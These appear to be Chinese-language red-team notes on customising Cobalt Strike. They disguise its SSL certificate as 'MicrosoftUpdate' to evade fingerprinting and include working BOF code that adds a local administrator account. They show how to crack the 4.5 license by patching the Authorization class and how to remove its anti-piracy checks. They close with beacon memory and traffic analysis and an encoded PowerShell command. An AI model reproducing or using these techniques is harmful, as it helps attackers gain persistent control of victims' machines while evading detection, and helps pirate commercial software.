keytool -genkey -alias ssl -keyalg RSA -validity 36500 -keystore ssl.store
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: US
What is the name of your organizational unit?
[Unknown]: MicrosoftUpdate
What is the name of your organization?
[Unknown]: MicrosoftUpdate
What is the name of your City or Locality?
[Unknown]: US
What is the name of your State or Province?
[Unknown]: US
What is the two-letter country code for this unit?
[Unknown]: US
Is CN=US, OU=MicrosoftUpdate, O=MicrosoftUpdate, L=US, ST=US, C=US correct?
[no]: y
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 36,500 days
for: CN=US, OU=MicrosoftUpdate, O=MicrosoftUpdate, L=US, ST=US, C=US
参数 含义
`-alias` 指定别名
`-storepass` 指定更改密钥库的存储口令
`‐keypass pass` 指定更改条目的密钥口令
`-keyalg` 指定算法
`-dname` 指定所有者信息
cs的默认ssl证书信息也很重要,不然指纹信息也很明显。默认的是(在keytool那行往后翻)
CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth
我们给他改改比如改成
CN=it, OU=it, O=it, L=it, S=it, C=it
可以看见新生成的ssl证书
快捷键
UDRL
用户自定义反射加载器(User Defined Reflective Loader)的缩写,
是 cobalt strike 4.4 版本引入的一种新功能,
允许用户创建和使用自己的反射加载器,替换默认的反射加载器。
反射加载器是一段代码,用于将 Beacon DLL 加载到内存中,
并解析其导入表、重定位表等信息。
使用 UDRL 可以实现更多的定制化和逃避检测的能力。
Beacon 对象文件 BOF
缓冲区溢出(Buffer Overflow)的缩写,是一种常见的漏洞利用技术,
可以通过向目标程序输入超过其预期长度的数据,覆盖其栈空间或堆空间中的重要内容,从而改变程序的执行流程,执行恶意代码或者获取更高的权限。
一个已编译的 C 程序,按照约定编写,
允许其在 Beacon 进程内执行并使用内部 Beacon API。
BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。
BOF 的占地面积较小。它们在 Beacon 进程内部运行,
并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。
#include <windows.h>
#include“beacon.h”
void go(char * args, int alen) {
BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}
这里的beacon.h头文件的下载地址如下:
https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h
使用 Visual Studio 进行编译也可以使用MinGW进行编译。
cl.exe /c /GS- hello.c /Fo hello.obj
这样编译的话可能会报错,不包括路径集等等。
需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考
https://blog.csdn.net/weixin_41115751/article/details/89817123
我们可以通过
GetProcAddress,
LoadLibraryA,
GetModuleHandle 来调用我们想要的windows API。
go函数添加用户
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF
return FALSE;
}
#pragma endregion
typedef DWORD NET_API_STATUS;
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
#include <LM.h>
#ifdef BOF
void go(char* buff, int len) {
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;
UserInfo.usri1_name = (TCHAR*)L"test123"; // 账户
UserInfo.usri1_password = (TCHAR*)L"Test@#123"; // 密码
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
NET_API_STATUS nStatus;
nStatus = NETAPI32$NetUserAdd(
NULL,
dwLevel,
(LPBYTE)&UserInfo,
&dwError
);
if (nStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);
}
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;
NET_API_STATUS aStatus;
aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (aStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);
}
}
#else
void main(int argc, char* argv[]) {
}
#endif
使用inline-execute调用
动态函数
调用windows API之外, 使用动态函数来进行解析。
将Win32 API的声明和调用变成如下格式:
NETAPI32$NetUserAdd
左边是DLL右边是函数名
BOF开发模板是:
https://github.com/securifybv/Visual-Studio-BOF-template
放到VS的模板目录。
创建出来的文件是Source.cpp,也就是C++的文件
将这个文件复制出来然后改成C文件
勾选前两个即可。
入口
go函数就是BOF的入口
CS上执行inline-execute命令的时候,就会调用go函数
将win32相关API写到go函数中
获取当前用户名:
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF
return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
#include <LM.h>
#ifdef BOF
void go(char* buff, int len) {
char username[1024];
DWORD usernameLength = sizeof username;
ADVAPI32$GetUserNameA(username, &usernameLength);
BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
}
#else
void main(int argc, char* argv[]) {
}
#endif
按照我的理解的话其实就是将win32 API转换成如下格式正常调用即可。
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
CrossC2 linux 上线支持
https://github.com/gloxec/CrossC2
红队Swing-Cobalt strike二次开发专题
原版 Cobalt Strike 4.5
Cobalt Strike 4.5 修改特征
二次开发功能改造增强魔改
2022年5月1日 发布 + 破解及汉化加载
jar包反编译破解
bin里面放未反编译的cobaltstrike.jar
src 文件,这个是空文件,是为了之后放反编译后的cobaltstrike
MANIFEST.MF\MANIFEST.MF中没有main class 属性,没有指定主类,
Main-Class: aggressor.Aggressor
因此不能直接 使用 java -jar
可以运行jar中的某个指定的测试类 使用方法 Java -cp 依赖jar或者是依赖jar库
plugins\java-decompiler\lib\java-decompiler.jar
java -cp cp 指的就是 classpath。
java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler
-dsg=true
bin/cobaltstrike.jar
src
反编译后,会自动打包成jar包,右键解压后打开可以看到都是.java了,
4.3 及之前版本的暴力替换class文件的破解方法失效
IDEA 创建一个MAVEN默认项目
创建一个decompile目录
将反编译的java源代码都放进去
lib目录将的cobaltstrike.jar(这个jar是未反编译的jar包),放进去
cobaltstrike.auth 也是
将decompile/aggressor.Aggressor.java 复制到src/aggressor.Aggressor.java
右键 make Directory as Source Root
并且将该jar包导入到依赖库中 设置依赖关系
file-->project Structure
modules dependencies选择lib目录下面的文件,确保是Compile 打勾点击apply
Artifacts--->jar--->from modules with dependencies MainClass
去新建一个Main Class Aggressor.Aggressor
名字可以在lib---->cs.jar---->meta-inf---->menifest.mf中找到
这样子可以使用菜单栏的Build里面Build Arifact进行jar打包了。结果会在out文件夹里里面。
启动文件使用打包的jar即可。
JAR Application
设置对应的VM option为 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M
-XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC
加入测试语句
JOptionPane.showMessageDialog(null,"hello world!!!");
服务端搭建
再将decompile目录中的server.TeamServer类复制一份到src目录中
打包有问题src META-INF MANIFEST.MF 复制
cobaltstrike.auth
-Djavax.net.ssl.keyStorePassword=123456
设置对应的VM option为
-XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=D:\ALL\javaidea\cs_disassemably\lib\google.store -Djavax.net.ssl.keyStorePassword=google -server -XX:+AggressiveHeap -XX:+UseParallelGC
注意:其中google.store可以是自己生成的ssl证书
"cobaltstrike.auth"许可证
auth破解
采用全局搜索
cobaltstrike.auth:用于客户端和服务器端认证的文件
CobaltStrike.auth文件 是 Cobalt Strike 用来确定许可证 ID 和有效期的配置文件。 启动时,Cobalt Strike 将检查许可证是否有效且未过期。
客户端和服务端有一个-模一样的
obaltstrike.store:秘钥证书存放文件
硬编码修改
byetes变量是密钥
对sleeve修改有帮助
protected String watermarkHash = "BeudtKgqnlm0Ruvf+VYxuw==";
public Authorization() {
try {
this.watermark=100000;
this.validto="forever";
this.valid = true;
final byte[] bytes = {
-13, -114, -77, -47, -93, 53, -78, 82, -75, -117, -62, -84, -34, -127, -75, 66};
common.MudgeSanity.systemDetail("valid to", "perpetual");
common.MudgeSanity.systemDetail("id", String.valueOf(this.watermark));
SleevedResource.Setup(bytes);
}
catch (Exception ex2) {
MudgeSanity.logException("auth file parsing", ex2, false);
}
}
license 白嫖
师傅用java agent注入的形式动态替换内存当中的license实现白嫖
twi1ight jarcs4.3反编译
idea安装目录下的plugins/java-decompiler/lib/java-decompiler.jar文件反编译
拔掉暗桩
暗桩导致进不去GUI界面
跟System.exit 有直接关系 采用全局搜索
从aggressor.Aggressor 开始看
Dlgshow在这
上面三个调用
checkGUI(
checkLicenseGUI(
initializeStarter(
ConnectDialog(
RuntimeMXBean var1 = ManagementFactory.getRuntimeMXBean();
List var2 = var1.getInputArguments();
Iterator var3 = var2.iterator();
while(var3.hasNext()) {
String var4 = (String)var3.next();
if (var4 != null && var4.toLowerCase().contains("-javaagent:")) {
return;
}
}
exit函数都注释掉
跟进checkGUI()
跟进initializeStarter
跟进checkLicenseGUI
发现isValid()、isPerpetual()、isExpired()、isAlmostExpired()
对授权是否有效、授权是否过期进行判断
回到了参数 var0 -> new Authorization() 跳过
继续 new ConnectDialog(B)
跟进initialize(
exit去掉了 启动
初始环境效果
G:\code\Saft_Code\CobaltStrike_debug\out\artifacts\CobaltStrike_debug_jar
-javaagent:命令行关键字
class 验证
返回true即可
机器上线之后执行命令60秒自动退出
beacon/BeaconData中将shouldPad方法的值固定为false:
4个小时机器自动掉线
以下全刪除
Cobalt strike_Beacon重构
Beacon分析
beacon payload的加载过程
beacon loader
静态分析
直接看伪代码
入口处很容易能够找到 main 函数的地址
关注这个函数
401795 这个
基于一些特征随机利用格式化字符串生成了一个字符串buffer,
同时创建了一个新的线程
执行函数为sub_401685
进 sub_4015D0
以上面生成的buffer为名字创建了一个命名管道,
然后进行判断,如果命名管道创建成功,
ConnectNamedPipe函数将等待客户端连接到管道。
如果成功连接到管道, 使用WriteFile函数将shellcode数据写入已连接的命名管道。
如果写入成功,则更新指针lpBuffer和剩余要写入的字节数nNumberOfBytesToWrite。
stageless Beacon 内存特征
无阶段的 beacon
使用 Process Hacker 分析 Beacon的特征
选中的beacon.exe,之后弹出beacon.exe(4008)属性框,选择属性框中的“线程”,可以看到线程起始地址:beacon.exe+0x14b0
单击选中的beacon.exe+0x14b0,查看线程 952 的堆栈的调用了SleepEx睡眠
内存段是rwx权限
查看 beacon.exe 所有的内存,内存段很少有是rwx权限的,我们直接定位到rwx内存段
之后,右键把内存导出到文件
用写字板形式打开beacon.exe.bin文件
内存中有 beacon 字符串
内存中有 ReflectiveLoader 字符串
stageless Beacon https 生成分析
cs如何进行构造payload
选择payload
aggressor.dialogs.WindowsExecutableStageDialog#dialogAction
点击保存
来到aggressor.dialogs.WindowsExecutableStageDialog#dialogResult,
主要有如下两个部分
ScListener var5 = ListenerUtils.getListener(this.client, var3);
获取当前listener的名称,然后生成对应的ScListener对象
this.stager = var5.export(this.client, var4);
上线&心跳get请求 流量特征
beacon发送心跳包后,teamserver会返回相应的任务号,并返回相应得任务信息,
心跳包间隔一定时间,均有通信,且流级上的上下行数据长度固定
beacon接收到任务信息后,会进入循环处理
AllCase_10007F19()里面就是beacon得全部命令功能
beacon 上线第一个请求就是一个带有metadata 信息的get包
然后服务端再返回一个没内容的响应包。
默认这个metadata 信息是用rsa 公钥加密放在cookie 里的,
这个行为的在profile 文件的http-get.client.metadata 里定义。
后续的心跳请求也是这个,
如果服务端有命令要下发给beacon执行 就是通过心跳请求的响应包来传递。
teamserver 处理请求
teamserver 的NanoHTTPD -> run方法在获取到请求后传给WebServer.serve,
最终请求信息传递给WebServer._serve 来处理请求信息。
_serve 方法先检测User-Agent是否在黑名单里
在就把blockedByUA 设置为true,
然后又检查ua 是否在白名单里,
如果有设置白名单并且没有匹配到的话就把allowedByUA 设置我false,
allowedByUA默认为true。
boolean allowedByUA = true;
String hook;
if (this.allowedUAArray.length > 0) {
allowedByUA = false;
String[] arr$ = this.allowedUAArray;
len$ = arr$.length;
for(int i$ = 0; i$ < len$; ++i$) {
hook = arr$[i$];
if (hook.trim().length() > 0 && CSUtils.matchesSimpleGeneric(useragent, hook.trim())) {
allowedByUA = true;
}
}
}
只有当满足 allowedByUA && !blockedByUA 条件时才继续执行函数,
否则就在控制台提示然后返回404
黑白名单的ua 可以在profile的http-config 中配置,
curl/lynx/wget* 是默认黑名单
下一步就是判断请求方法是不是OPTIONS ,
是就返回200 和允许的方法
再往下就是之前爆出的路径不规范泄露stager信息漏洞的地方,
这里看this.hooks里的内容如果直接传入一个类似GET stager HTTP/1.1,
这样的请求头就会泄露stager信息
Beacon C2Profile
客户端分析
exportBeaconStage 方法
把 settings 转 byte 数组,然后混淆后 Patch 的
settings 的设置,可以很明显的发现四个方法 addShort、addInt、addString、addData
Beacon 端分析
实际执行的 Beacon 是由一个 Loader 加载执行
实际运行的时候,运行的是 Loader
真正核心的 beacon.dll 在 DLLMain 中干了什么事
当 fdwReason 为 1 时,实际执行的是解析 C2Profile 的操作
当 fdwReason 为 4 时,才是真正的功能执行
展示图
所以 客户端 Patch 到 Beacon 中的 C2Profile
与 Beacon 在运行时所使用的 C2Profile 长的并不是一样的
客户端
beacon
代码部分
main.go作为主函数
在beacon第一次与服务端通信之前执行隐藏窗口、反沙箱等操作。
成功建立了连接则每隔一段时间向服务端发送请求,
查看是否有需要下发的命令及数据,如果有的话则根据下发的命令号进行不同的处理。
sysinfo包
获取不同平台下目标主机的基本信息的功能,
拼装了beacon与服务器建立通信所需的meta数据。
windows平台下部分复杂的功能被拆分成execute_assembly.go、jobs.go、token.go等来单独实现。
services.go实现了对不同命令的跨平台处理。
packet包
实现了对命令的具体的处理操作以及通信等功能。
powershell
shell powershell是从cmd调用powershell,
而powershell命令本身是以-nop -exec bypass -EncodedCommand参数来执行编码后的命令,
如whoami
powershell -nop -exec bypass -EncodedCommand dwBoAG8AYQBtAGkA